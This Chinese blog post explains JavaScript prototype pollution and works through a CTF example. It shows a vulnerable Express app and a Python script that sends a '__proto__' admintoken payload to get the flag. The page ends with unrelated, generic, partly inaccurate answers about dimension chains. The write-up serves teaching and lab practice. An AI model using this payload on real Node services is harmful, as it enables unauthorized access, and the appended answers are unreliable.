原型链污染例题复现

一、什么是原型链

下面我们通过这个小例子来看看。

 可以看到b在实例化为test对象以后,就可以输出test类中的属性a了。这是因为在于js中的一个重要的概念:继承。而继承的整个过程就称为该类的原型链。

在javascript中,每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它
自己的原型,直到null为止
function i(){
    this.a = "test1";
    this.b = "test2";}

在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype。同时,在js中只有类才有prototype属性,而对象却没有,对象有的是__proto__和类的prototype对应。且二者是等价的

二、什么是原型链污染

先看一个小例子:

mess.js

----

(function()
{
    var secret = ["aaa","bbb"];
    secret.forEach();
})();

attach.html

 在mess.js中我们声明了一个数组 secret,然后该数组调用了属于 Array.protottypeforeach方法,如下

 但是,在调用js文件之前,js代码中将Array.prototype.foreach方法进行了重写,而prototype链为secret -> Array.prototype ->object.prototype,secret中无 foreach 方法,所以就会向上检索,就找到了Array.prototype 而其foreach方法已经被重写过了,所以会执行输出。

这就是原型链污染。很明显,原型链污染就是:在我们想要利用的代码之前的赋值语句如果可控的话,我们进行 ——__proto__ 赋值,之后就可以利用代码了

三、原型链污染例题

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。

由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句:

matrix[client.row][client.col] = client.data

data,row,col,都是我们post传入的值,都是可控的。所以可以构造原型链污染,下面我们先本地测试一下  

 下面我们给出payload和结果 :

import requests
import json

url1 = "http://127.9.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"

s = requests.session()

headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}

res1 = s.post(url1,headers=headers,data = json.dumps(data1))
res2 = s.get(url2)

print res2.text
输出结果:
Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerousk}</b>

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 尺寸链计算是一种计算尺寸关系的方法,用于确定不同尺寸之间的比例关系。在设计和绘图中,尺寸链计算有着重要的应用。 例如,现在我们需要绘制一幅图,其中一个物体的尺寸已知,而其他物体的尺寸需要按照比例来确定。这时,我们可以使用尺寸链计算来帮助我们确定这些物体的尺寸。 首先,我们需要确定一个尺寸作为基准,可以选择任意一个已知的尺寸作为基准。然后,我们选取另一个物体的尺寸,并与基准尺寸进行比例计算。比如,如果基准尺寸为10cm,而另一个物体的比例为1:2,那么我们可以通过计算得知该物体的尺寸为20cm。 接下来,如果我们需要确定更多物体的尺寸,我们可以按照同样的方法进行计算。比如,如果我们需要确定第三个物体的尺寸,而它与上一个物体的比例为1:3,我们可以得知第三个物体的尺寸为60cm。 通过尺寸链计算,我们可以轻松地确定不同物体之间的尺寸比例关系,从而有效地绘制图形和设计物体。 在实际应用中,尺寸链计算也会遇到一些复杂的情况,比如多个物体之间相互影响的尺寸关系。在这种情况下,我们需要将问题进行细分,逐个计算每个物体的尺寸,并根据其相对关系进行调整。 总之,尺寸链计算是一种重要的计算方法,能够帮助我们确定不同物体之间的尺寸比例关系,从而更好地进行设计和绘图。 ### 回答2: 尺寸链计算是一种计算机图形学中常用的方法,用于确定对象在不同坐标系下的位置和尺寸。它通过定义对象之间的关系,使得一个对象的尺寸和位置可以相对于另一个对象的尺寸和位置进行计算。 尺寸链计算的基本原理是使用一个参考对象,以及它与其他对象之间的关系来计算其他对象的尺寸和位置。参考对象可以是屏幕、窗口、容器等,而其他对象可以是其中的子对象或者其他相关对象。通过维护对象与参考对象之间的关系,可以方便地调整对象的尺寸和位置。 例如,在一个屏幕上有一个方形容器A,容器A中有一个矩形图像B。容器A的位置和尺寸相对于屏幕来说是已知的,而图像B的位置和尺寸相对于容器A来说是已知的。现在需要计算图像B在屏幕上的位置和尺寸,可以使用尺寸链计算。首先,容器A的位置和尺寸可以作为参考,这样图像B的位置和尺寸就可以相对于容器A来计算。然后,通过将容器A的位置和尺寸与图像B的位置和尺寸相加,就可以得到图像B在屏幕上的位置和尺寸。 尺寸链计算在计算机图形学中有广泛的应用,例如在游戏开发中用于物体的布局和碰撞检测,以及在GUI界面设计中用于控件的排列和大小调整等。它提供了一种灵活、简洁和可扩展的方式来处理对象间的位置和尺寸关系。 总之,尺寸链计算是一种在计算机图形学中常用的方法,通过定义对象之间的关系来计算对象的尺寸和位置。它可以应用于各种场景,提供了方便有效的计算方式。 ### 回答3: 尺寸链计算是指通过一系列的数学运算,计算出物体在不同尺度下的大小关系。具体而言,尺寸链计算常见于图像处理、计算机视觉和机器学习等领域中。 在尺寸链计算中,我们首先需要定义一个参考尺度,例如图像的像素尺度或物体的实际尺度。接下来,我们通过比较物体在不同尺度上的大小关系,计算出它们之间的尺度变化比例。最常见的尺度链计算方法是利用比例尺的概念,根据物体在不同尺度上的像素数量或实际长度,计算出它们之间的比例关系。 例如,假设有一张图像,我们想要计算其中目标物体的尺度链。首先,我们可以选择一个参考尺度,比如目标物体在图像中的像素数量。然后,我们在不同尺度下调整图像的大小,并计算目标物体在每个尺度上的像素数量。通过比较这些像素数量,我们可以计算出物体在不同尺度上的尺度变化比例。 尺寸链计算在计算机视觉中有广泛的应用。例如,在目标检测任务中,我们可以通过计算物体的尺度链,来判断不同尺度下目标物体的特征和位置。这对于实现多尺度目标检测非常重要。 总结而言,尺寸链计算通过比较物体在不同尺度上的大小关系,计算出它们之间的尺度变化比例。它在图像处理、计算机视觉和机器学习等领域中具有重要的应用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值